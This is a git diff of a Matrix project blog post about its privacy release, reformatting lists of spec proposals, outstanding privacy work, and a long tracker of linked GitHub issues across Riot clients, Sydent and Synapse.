@ -122,25 +122,25 @@ with the [previous 0.2.1 stable
|
|||
release](https://matrix.org/docs/spec/identity_service/r0.2.1), as well as
|
||||
checking the detailed MSCs as follows:
|
||||
|
||||
* [MSC1961: Integration manager authentication APIs](https://github.com/matrix-org/matrix-doc/pull/1961)
|
||||
* [MSC2078: Sending Third-Party Request Tokens via the Homeserver](https://github.com/matrix-org/matrix-doc/pull/2078)
|
||||
* [MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134)
|
||||
* [MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140)
|
||||
* [MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229)
|
||||
* [MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230)
|
||||
* [MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263)
|
||||
* [MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264)
|
||||
* [MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290)
|
||||
* [MSC1961: Integration manager authentication APIs](https://github.com/matrix-org/matrix-doc/pull/1961)
|
||||
* [MSC2078: Sending Third-Party Request Tokens via the Homeserver](https://github.com/matrix-org/matrix-doc/pull/2078)
|
||||
* [MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134)
|
||||
* [MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140)
|
||||
* [MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229)
|
||||
* [MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230)
|
||||
* [MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263)
|
||||
* [MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264)
|
||||
* [MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290)
|
||||
|
||||
This said, there is still some work remaining for us to do here. The main
|
||||
things which haven’t made it into this release are:
|
||||
|
||||
* Preferring to get server keys from the source server rather than the notary server by default ([https://github.com/matrix-org/synapse/pull/6110](https://github.com/matrix-org/synapse/pull/6110)). This almost made it in, but we need to test it more first - until then, your specified notary server will see roughly what servers your servers are trying to talk to. In future this will be mitigated properly by [MSC1228 (removing mxids from events)](https://github.com/matrix-org/matrix-doc/issues/1228).
|
||||
* Configurable data retention periods for rooms. We are tantalisingly close with this - [https://github.com/matrix-org/synapse/pull/5815](https://github.com/matrix-org/synapse/pull/5815) is an implementation that the French Govt deployment is using; we need to port it into mainline Synapse.
|
||||
* Authenticating access to the media repository - for now, we still rely on media IDs being almost impossible to guess to protect the data rather than authenticating the user.
|
||||
* Deleting items from the media repository - we still need to hook up deletion APIs.
|
||||
* Garbage collecting forgotten rooms. If everyone leaves & forgets a room, we should delete it from the DB.
|
||||
* [Communicating erasure requests over federation](https://github.com/matrix-org/matrix-doc/issues/1280)
|
||||
* Preferring to get server keys from the source server rather than the notary server by default ([https://github.com/matrix-org/synapse/pull/6110](https://github.com/matrix-org/synapse/pull/6110)). This almost made it in, but we need to test it more first - until then, your specified notary server will see roughly what servers your servers are trying to talk to. In future this will be mitigated properly by [MSC1228 (removing mxids from events)](https://github.com/matrix-org/matrix-doc/issues/1228).
|
||||
* Configurable data retention periods for rooms. We are tantalisingly close with this - [https://github.com/matrix-org/synapse/pull/5815](https://github.com/matrix-org/synapse/pull/5815) is an implementation that the French Govt deployment is using; we need to port it into mainline Synapse.
|
||||
* Authenticating access to the media repository - for now, we still rely on media IDs being almost impossible to guess to protect the data rather than authenticating the user.
|
||||
* Deleting items from the media repository - we still need to hook up deletion APIs.
|
||||
* Garbage collecting forgotten rooms. If everyone leaves & forgets a room, we should delete it from the DB.
|
||||
* [Communicating erasure requests over federation](https://github.com/matrix-org/matrix-doc/issues/1280)
|
||||
|
||||
We’ll continue to work on these as part of our ongoing maintenance backlog.
|
||||
|
||||
|
|
@ -196,310 +196,309 @@ our AMA over at
|
|||
|
||||
### The Privacy Project Dashboard Of Doom
|
||||
|
||||
* phase:1
|
||||
* vector-im/riot-web
|
||||
* [5846 Riot duplicates calls to Scalar](https://github.com/vector-im/riot-web/issues/5846) (done)
|
||||
* [5921 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-web/issues/5921) (done)
|
||||
* [6802 riot shouldn't try to load integrations from an integration manager unless the user has accepted that manager's privacy policies](https://github.com/vector-im/riot-web/issues/6802) (done)
|
||||
* [10088 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-web/issues/10088) (done)
|
||||
* [10090 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-web/issues/10090) (done)
|
||||
* [10091 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-web/issues/10091) (done)
|
||||
* [10092 Prompt to accept Identity Server policies on registration](https://github.com/vector-im/riot-web/issues/10092) (done)
|
||||
* [10093 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-web/issues/10093) (done)
|
||||
* [10094 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-web/issues/10094) (done)
|
||||
* [10159 Enable toggling a threepid's association with the current IS in User Settings](https://github.com/vector-im/riot-web/issues/10159) (done)
|
||||
* [10173 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-web/issues/10173) (done)
|
||||
* [10216 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-web/issues/10216) (done)
|
||||
* [10386 Terms modal prompt should appear without a flash of the integration manager portal first](https://github.com/vector-im/riot-web/issues/10386) (done)
|
||||
* [10408 Identity server v2 API authentication](https://github.com/vector-im/riot-web/issues/10408) (done)
|
||||
* [10423 Deploy a develop environment for t's and c's flows for IM and IS](https://github.com/vector-im/riot-web/issues/10423) (done)
|
||||
* [10424 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-web/issues/10424) (done)
|
||||
* [10425 Ability to disconnect from the identity server by pressing buttons in user settings.](https://github.com/vector-im/riot-web/issues/10425) (done)
|
||||
* [10452 Test IS v2 access tokens for validity](https://github.com/vector-im/riot-web/issues/10452) (done)
|
||||
* [10497 Integration manager terms hides terms that need signing](https://github.com/vector-im/riot-web/issues/10497) (done)
|
||||
* [10510 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-web/issues/10510) (done)
|
||||
* [10519 Update discovery and account 3PID sections when either changes](https://github.com/vector-im/riot-web/issues/10519) (done)
|
||||
* [10522 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-web/issues/10522) (done)
|
||||
* [10525 IS interactions proxied through the HS also need terms agreement](https://github.com/vector-im/riot-web/issues/10525) (done)
|
||||
* [10528 don't try & show threepids in discovery section if we don't have an ID server](https://github.com/vector-im/riot-web/issues/10528) (done)
|
||||
* [10539 Inline terms agreement on change IS and IM](https://github.com/vector-im/riot-web/issues/10539) (done)
|
||||
* [10540 When using Riot without an IS, identity requests are sent to server hosting Riot](https://github.com/vector-im/riot-web/issues/10540) (done)
|
||||
* [10546 Prompt for fallback VOIP should only happen when the user tries to make a call](https://github.com/vector-im/riot-web/issues/10546) (done)
|
||||
* [10550 warn when disconnecting ID server if there are any current bindings](https://github.com/vector-im/riot-web/issues/10550) (done)
|
||||
* [10552 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-web/issues/10552) (done)
|
||||
* [10553 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-web/issues/10553) (done)
|
||||
* [10556 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-web/issues/10556) (done)
|
||||
* [10561 Scalar should serve a .well-known file](https://github.com/vector-im/riot-web/issues/10561) (done)
|
||||
* [10566 Use nicer APIs for toggling a 3PID's shared status](https://github.com/vector-im/riot-web/issues/10566) (done)
|
||||
* [10571 Allow email registration when no IS](https://github.com/vector-im/riot-web/issues/10571) (done)
|
||||
* [10572 Allow password reset when no IS](https://github.com/vector-im/riot-web/issues/10572) (done)
|
||||
* [10573 Allow adding 3pids when no IS](https://github.com/vector-im/riot-web/issues/10573) (done)
|
||||
* [10574 Placeholder issue for MSCs that should land prior to the privacy release](https://github.com/vector-im/riot-web/issues/10574) (done)
|
||||
* [10593 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-web/issues/10593) (done)
|
||||
* [10597 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-web/issues/10597) (done)
|
||||
* [10599 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-web/issues/10599) (done)
|
||||
* [10603 Getting a terms prompt when inviting an email address clears the address picker](https://github.com/vector-im/riot-web/issues/10603) (done)
|
||||
* [10619 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-web/issues/10619) (done)
|
||||
* [10620 Change auth flows so that you default to no IS](https://github.com/vector-im/riot-web/issues/10620) (done)
|
||||
* [10634 Changing to vector.im IS in Settings fails because /terms 404s](https://github.com/vector-im/riot-web/issues/10634) (done)
|
||||
* [10635 Inline terms agreement in Discovery should still show change and do not use](https://github.com/vector-im/riot-web/issues/10635) (done)
|
||||
* [10636 The UX is a little confusing if you haven't accepted the terms of the default identity server.](https://github.com/vector-im/riot-web/issues/10636) (done)
|
||||
* [10637 Unable to add email address to HS account without IS set](https://github.com/vector-im/riot-web/issues/10637) (done)
|
||||
* [10660 Sydent implementation: Unauthed v1, clone all endpoints, auth v2](https://github.com/vector-im/riot-web/issues/10660) (done)
|
||||
* [10666 In login/register, riot freezes if you go to Advanced, remove the IS url and click next](https://github.com/vector-im/riot-web/issues/10666) (done)
|
||||
* [10669 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-web/issues/10669) (done)
|
||||
* [10674 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-web/issues/10674) (done)
|
||||
* [10677 Change text about other users being able to invite you by email on registration page](https://github.com/vector-im/riot-web/issues/10677) (done)
|
||||
* [10744 Only set terms URLs in the account when they change](https://github.com/vector-im/riot-web/issues/10744) (done)
|
||||
* [10749 Changing from one IS to another does not trigger bound 3PID warning](https://github.com/vector-im/riot-web/issues/10749) (done)
|
||||
* [10750 Bound 3PIDs warning should better explain what's being left behind](https://github.com/vector-im/riot-web/issues/10750) (done)
|
||||
* [10754 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-web/issues/10754) (done)
|
||||
* [10755 Terms account data is meant to be additive, but currently sets only new URLs](https://github.com/vector-im/riot-web/issues/10755) (done)
|
||||
* [10756 After changing IS to termstest.matrix.org the text field isn't cleared and the button remains active](https://github.com/vector-im/riot-web/issues/10756) (done)
|
||||
* [10757 After changing IS back to vector.im the text field isn't cleared and the button remains active](https://github.com/vector-im/riot-web/issues/10757) (done)
|
||||
* [10758 Revoke may be too vague for unbinding a 3PID](https://github.com/vector-im/riot-web/issues/10758) (done)
|
||||
* [10779 When publishing a threepid to an IS, if you click 'continue' before clicking the link in your email, we delete your threepid from the HS.](https://github.com/vector-im/riot-web/issues/10779) (done)
|
||||
* [10800 Community invite should not talk about ISes at all.](https://github.com/vector-im/riot-web/issues/10800) (done)
|
||||
* [10823 IS with unagreed terms will block you from adding even unshared 3PIDs to your HS](https://github.com/vector-im/riot-web/issues/10823) (done)
|
||||
* [10839 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-web/issues/10839) (done)
|
||||
* [10878 UX regression when trying to invite by email if no IS is configured](https://github.com/vector-im/riot-web/issues/10878) (done)
|
||||
* [10883 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-web/issues/10883) (done)
|
||||
* [10923 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-web/issues/10923) (done)
|
||||
* [10933 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-web/issues/10933) (done)
|
||||
* [10939 Registration with MSISDN needs to use submit_url](https://github.com/vector-im/riot-web/issues/10939) (done)
|
||||
* [10941 threepid_creds for registration and password reset still include id_server](https://github.com/vector-im/riot-web/issues/10941) (done)
|
||||
* [10959 Remove id_server from email threepid_creds](https://github.com/vector-im/riot-web/issues/10959) (done)
|
||||
* [10604 QA: Re-test ALL of the identity server interactions](https://github.com/vector-im/riot-web/issues/10604) (in progress)
|
||||
* [10958 Terms of Service nitpicks](https://github.com/vector-im/riot-web/issues/10958) (in progress)
|
||||
* [10704 We treat an empty string identity server as not having one](https://github.com/vector-im/riot-web/issues/10704)
|
||||
* vector-im/riot-ios
|
||||
* [2518 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-ios/issues/2518) (done)
|
||||
* [2521 Privacy: Improve wording on contact upload UI](https://github.com/vector-im/riot-ios/issues/2521) (done)
|
||||
* [2532 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-ios/issues/2532) (done)
|
||||
* [2600 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-ios/issues/2600) (done)
|
||||
* [2601 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-ios/issues/2601) (done)
|
||||
* [2602 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-ios/issues/2602) (done)
|
||||
* [2603 Identity server v2 API authentication](https://github.com/vector-im/riot-ios/issues/2603) (done)
|
||||
* [2606 Settings: Add a Discovery section](https://github.com/vector-im/riot-ios/issues/2606) (done)
|
||||
* [2608 Registration: Update consents flow](https://github.com/vector-im/riot-ios/issues/2608) (done)
|
||||
* [2643 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-ios/issues/2643) (done)
|
||||
* [2646 VoIP: Fallback to matrix.org STUN server with a confirmation dialog](https://github.com/vector-im/riot-ios/issues/2646) (done)
|
||||
* [2647 MXRestClient: Move IS API to its own](https://github.com/vector-im/riot-ios/issues/2647) (done)
|
||||
* [2648 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-ios/issues/2648) (done)
|
||||
* [2650 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-ios/issues/2650) (done)
|
||||
* [2651 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-ios/issues/2651) (done)
|
||||
* [2652 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-ios/issues/2652) (done)
|
||||
* [2653 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-ios/issues/2653) (done)
|
||||
* [2654 Use nicer APIs for toggling a 3PID's shared status](https://github.com/vector-im/riot-ios/issues/2654) (done)
|
||||
* [2657 Allow email registration when no IS](https://github.com/vector-im/riot-ios/issues/2657) (done)
|
||||
* [2658 Allow password reset when no IS](https://github.com/vector-im/riot-ios/issues/2658) (done)
|
||||
* [2659 Allow adding 3pids when no IS](https://github.com/vector-im/riot-ios/issues/2659) (done)
|
||||
* [2660 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-ios/issues/2660) (done)
|
||||
* [2661 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-ios/issues/2661) (done)
|
||||
* [2662 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-ios/issues/2662) (done)
|
||||
* [2664 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-ios/issues/2664) (done)
|
||||
* [2665 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-ios/issues/2665) (done)
|
||||
* [2672 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-ios/issues/2672) (done)
|
||||
* [2675 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-ios/issues/2675) (done)
|
||||
* [2682 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-ios/issues/2682) (done)
|
||||
* [2686 Use wellknown to discover the IS of a custom HS](https://github.com/vector-im/riot-ios/issues/2686) (done)
|
||||
* [2696 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-ios/issues/2696) (done)
|
||||
* [2704 Use `id_access_token` in CS API when required](https://github.com/vector-im/riot-ios/issues/2704) (done)
|
||||
* [2604 Settings: Ability to change the identity server](https://github.com/vector-im/riot-ios/issues/2604) (in progress)
|
||||
* [2649 Ability to disconnect from the identity server by pressing buttons in user settings](https://github.com/vector-im/riot-ios/issues/2649) (in progress)
|
||||
* [2713 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-ios/issues/2713) (in progress)
|
||||
* [2718 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-ios/issues/2718) (in progress)
|
||||
* [2683 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-ios/issues/2683)
|
||||
* [2731 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-ios/issues/2731)
|
||||
* [2732 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-ios/issues/2732)
|
||||
* [2736 IS terms cannot be accepted anymore](https://github.com/vector-im/riot-ios/issues/2736)
|
||||
* vector-im/riot-android
|
||||
* [3223 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-android/issues/3223) (done)
|
||||
* [3224 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-android/issues/3224) (done)
|
||||
* [3225 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-android/issues/3225)(done)
|
||||
* [3226 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-android/issues/3226) (done)
|
||||
* [3227 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-android/issues/3227) (done)
|
||||
* [3228 Identity server v2 API authentication](https://github.com/vector-im/riot-android/issues/3228) (done)
|
||||
* [3229 Settings: Ability to change the identity server](https://github.com/vector-im/riot-android/issues/3229) (done)
|
||||
* [3230 Settings: Add a Discovery section](https://github.com/vector-im/riot-android/issues/3230) (done)
|
||||
* [3231 Registration: Update consents flow](https://github.com/vector-im/riot-android/issues/3231) (done)
|
||||
* [3252 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-android/issues/3252) (done)
|
||||
* [3253 Ability to disconnect from the identity server by pressing buttons in user settings](https://github.com/vector-im/riot-android/issues/3253) (done)
|
||||
* [3254 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-android/issues/3254) (done)
|
||||
* [3256 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-android/issues/3256) (done)
|
||||
* [3257 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-android/issues/3257) (done)
|
||||
* [3258 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-android/issues/3258) (done)
|
||||
* [3260 Allow email registration when no IS](https://github.com/vector-im/riot-android/issues/3260) (done)
|
||||
* [3261 Allow password reset when no IS](https://github.com/vector-im/riot-android/issues/3261) (done)
|
||||
* [3262 Allow adding 3pids when no IS](https://github.com/vector-im/riot-android/issues/3262) (done)
|
||||
* [3263 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-android/issues/3263) (done)
|
||||
* [3264 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-android/issues/3264) (done)
|
||||
* [3265 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-android/issues/3265) (done)
|
||||
* [3268 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-android/issues/3268) (done)
|
||||
* [3269 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-android/issues/3269) (done)
|
||||
* [3277 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-android/issues/3277) (done)
|
||||
* [3278 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-android/issues/3278) (done)
|
||||
* [3281 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-android/issues/3281) (done)
|
||||
* [3283 Use wellknown to discover the IS of a custom HS](https://github.com/vector-im/riot-android/issues/3283) (done)
|
||||
* [3289 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-android/issues/3289) (done)
|
||||
* [3295 Use `id_access_token` in CS API when required](https://github.com/vector-im/riot-android/issues/3295) (done)
|
||||
* [3300 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-android/issues/3300)(done)
|
||||
* [3312 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-android/issues/3312) (done)
|
||||
* [3316 Implement MSC2290](https://github.com/vector-im/riot-android/issues/3316) (done)
|
||||
* [3324 id_server param sent when registering an email on server that does not requires one](https://github.com/vector-im/riot-android/issues/3324) (done)
|
||||
* [3326 Discovery Settings / infinite loading if terms not signed on existing IS](https://github.com/vector-im/riot-android/issues/3326) (done)
|
||||
* [3327 vector.im is seen as having no terms, but it does](https://github.com/vector-im/riot-android/issues/3327) (done)
|
||||
* [3251 VoIP: Fallback to matrix.org STUN server with a confirmation dialog](https://github.com/vector-im/riot-android/issues/3251) (in progress)
|
||||
* [3248 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-android/issues/3248)
|
||||
* [3318 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-android/issues/3318)
|
||||
* [3322 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-android/issues/3322)
|
||||
* vector-im/riotX-android
|
||||
* [490 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riotX-android/issues/490) (done)
|
||||
* [432 Prompt to accept integration manager polices on use](https://github.com/vector-im/riotX-android/issues/432) (in progress)
|
||||
* [431 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riotX-android/issues/431)
|
||||
* [433 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riotX-android/issues/433)
|
||||
* [434 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riotX-android/issues/434)
|
||||
* [435 Identity server v2 API authentication](https://github.com/vector-im/riotX-android/issues/435)
|
||||
* [436 Settings: Ability to change the identity server](https://github.com/vector-im/riotX-android/issues/436)
|
||||
* [438 Settings: Add a Discovery section](https://github.com/vector-im/riotX-android/issues/438)
|
||||
* [439 Registration: Update consents flow](https://github.com/vector-im/riotX-android/issues/439)
|
||||
* [489 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riotX-android/issues/489)
|
||||
* matrix-org/matrix-doc
|
||||
* [1961 MSC1961: Integration manager authentication APIs](https://github.com/matrix-org/matrix-doc/pull/1961) (done)
|
||||
* [2078 MSC2078: Sending Third-Party Request Tokens via the Homeserver](https://github.com/matrix-org/matrix-doc/pull/2078) (done)
|
||||
* [2130 Identity service should do lookups based on hashed 3PIDs, not plaintext ones.](https://github.com/matrix-org/matrix-doc/issues/2130) (done)
|
||||
* [2134 MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) (done)
|
||||
* [2139 Method for ISes and Integration managers to provide terms of service](https://github.com/matrix-org/matrix-doc/issues/2139) (done)
|
||||
* [2140 MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140) (done)
|
||||
* [2229 MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229) (done)
|
||||
* [2230 MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230) (done)
|
||||
* [2263 MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263) (done)
|
||||
* [2264 MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264) (done)
|
||||
* [2290 MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290) (in progress)
|
||||
* matrix-org/sydent
|
||||
* [178 Support for MSC2140](https://github.com/matrix-org/sydent/issues/178) (done)
|
||||
* [179 Support testing with matrix-is-tester](https://github.com/matrix-org/sydent/pull/179) (done)
|
||||
* [180 Support for MSC2140](https://github.com/matrix-org/sydent/pull/180) (done)
|
||||
* [181 Deny bindings to anything other than the mxid you're authed as](https://github.com/matrix-org/sydent/pull/181) (done)
|
||||
* [184 Hash 3PID lookups](https://github.com/matrix-org/sydent/pull/184) (done)
|
||||
* [186 Don't fail the unbind request if the binding doesn't exist](https://github.com/matrix-org/sydent/pull/186) (done)
|
||||
* [187 Add more tweaks to terms branch](https://github.com/matrix-org/sydent/pull/187) (done)
|
||||
* [189 Redact looked-up threepids from the application logs.](https://github.com/matrix-org/sydent/issues/189) (done)
|
||||
* [191 Add OpenID auth to 3PID hash lookup](https://github.com/matrix-org/sydent/issues/191) (done)
|
||||
* [197 Have 'mappings' contain medium as well as address](https://github.com/matrix-org/sydent/pull/197) (done)
|
||||
* [198 Throw exception on bad args & catch in wrapper](https://github.com/matrix-org/sydent/pull/198) (done)
|
||||
* [199 Return algorithm, lookup_pepper in M_INVALID_PEPPER response](https://github.com/matrix-org/sydent/pull/199) (done)
|
||||
* [200 Support MSC2140 register/terms endpoints](https://github.com/matrix-org/sydent/pull/200) (done)
|
||||
* [201 Port v1 endpoints to v2](https://github.com/matrix-org/sydent/pull/201) (done)
|
||||
* [202 Deny bindings to anything other than the mxid you're authed as](https://github.com/matrix-org/sydent/pull/202) (done)
|
||||
* [204 Fix the signing servlet](https://github.com/matrix-org/sydent/pull/204) (done)
|
||||
* [205 Correct API v1 path check in get_args](https://github.com/matrix-org/sydent/pull/205) (done)
|
||||
* [206 Fix terms POST](https://github.com/matrix-org/sydent/pull/206) (done)
|
||||
* [207 Deploy policy file](https://github.com/matrix-org/sydent/issues/207) (done)
|
||||
* [208 Remove PII logging from log-level INFO](https://github.com/matrix-org/sydent/pull/208) (done)
|
||||
* [213 Delete threepid assocs on unbind and remove existing with migration](https://github.com/matrix-org/sydent/pull/213) (done)
|
||||
* [217 Allow non-matrix.org MXIDs via v2 only once terms are enabled](https://github.com/matrix-org/sydent/issues/217) (done)
|
||||
* [218 Unbind fails to remove the binding on matrix.org IS](https://github.com/matrix-org/sydent/issues/218) (done)
|
||||
* [220 Unbind fails to work for bindings where it was attempted with #213](https://github.com/matrix-org/sydent/issues/220) (done)
|
||||
* [192 Sydent doesn't delete 3PIDs from DB on unbind](https://github.com/matrix-org/sydent/issues/192) (in progress)
|
||||
* matrix-org/synapse
|
||||
* [1287 We need to actually censor redactions from the DB (SYN-284)](https://github.com/matrix-org/synapse/issues/1287) (done)
|
||||
* [5751 Make homeservers able to handle registration-with-email without depending on an Identity Server](https://github.com/matrix-org/synapse/issues/5751) (done)
|
||||
* [5786 Support IS v2 API with authentication for requests proxied to the IS](https://github.com/matrix-org/synapse/issues/5786) (done)
|
||||
* [5827 Add 3PID unbind API for MSC2140](https://github.com/matrix-org/synapse/issues/5827) (done)
|
||||
* [5835 [1/2] Allow homeservers to send registration emails | Sending the email](https://github.com/matrix-org/synapse/pull/5835) (done)
|
||||
* [5861 Use the v2 lookup API for 3PID invites](https://github.com/matrix-org/synapse/issues/5861) (done)
|
||||
* [5862 Allow account owners to rebind 3PIDs as in MSC2229](https://github.com/matrix-org/synapse/issues/5862) (done)
|
||||
* [5868 Add flag in /versions for whether clients should send id_server params](https://github.com/matrix-org/synapse/pull/5868) (done)
|
||||
* [5874 Placeholder issue for privacy migration path](https://github.com/matrix-org/synapse/issues/5874) (done)
|
||||
* [5875 Remove trusted_third_party_id_servers functionality](https://github.com/matrix-org/synapse/pull/5875) (done)
|
||||
* [5876 Replace trust_identity_server_for_password_resets with account_threepid_delegate](https://github.com/matrix-org/synapse/pull/5876) (done)
|
||||
* [5892 Switch to using v2 Identity Service APIs other than lookup (MSC 2140)](https://github.com/matrix-org/synapse/pull/5892) (done)
|
||||
* [5897 Use the v2 lookup API for 3PID invites](https://github.com/matrix-org/synapse/pull/5897) (done)
|
||||
* [5927 Add a m.id_access_token flag to unstable_features](https://github.com/matrix-org/synapse/issues/5927) (done)
|
||||
* [5928 Split account_threepid_handler into a msisdn and email versions](https://github.com/matrix-org/synapse/issues/5928) (done)
|
||||
* [5929 Use account_threepid_delegate for sending SMS](https://github.com/matrix-org/synapse/issues/5929) (done)
|
||||
* [5930 Add m.id_access_token flag](https://github.com/matrix-org/synapse/pull/5930) (done)
|
||||
* [5934 Censor redactions in DB after a month](https://github.com/matrix-org/synapse/pull/5934) (done)
|
||||
* [5935 Use federation blacklist for requests to identity servers](https://github.com/matrix-org/synapse/issues/5935) (done)
|
||||
* [5937 Revert "Use the v2 lookup API for 3PID invites"](https://github.com/matrix-org/synapse/pull/5937) (done)
|
||||
* [5940 [2/2] Allow homeservers to send registration emails | Accepting the verification](https://github.com/matrix-org/synapse/pull/5940) (done)
|
||||
* [5945 Revert "Add m.id_access_token flag"](https://github.com/matrix-org/synapse/pull/5945) (done)
|
||||
* [5948 Support v2 Identity Server APIs](https://github.com/matrix-org/synapse/pull/5948) (done)
|
||||
* [5964 Remove bind_email and bind_msisdn](https://github.com/matrix-org/synapse/pull/5964) (done)
|
||||
* [5968 Set m.require_identity_server to always be False](https://github.com/matrix-org/synapse/pull/5968) (done)
|
||||
* [5969 Change account_threepid_delegate to a dictionary](https://github.com/matrix-org/synapse/pull/5969) (done)
|
||||
* [5972 Add m.require_identity_server to /versions unstable_flags](https://github.com/matrix-org/synapse/pull/5972) (done)
|
||||
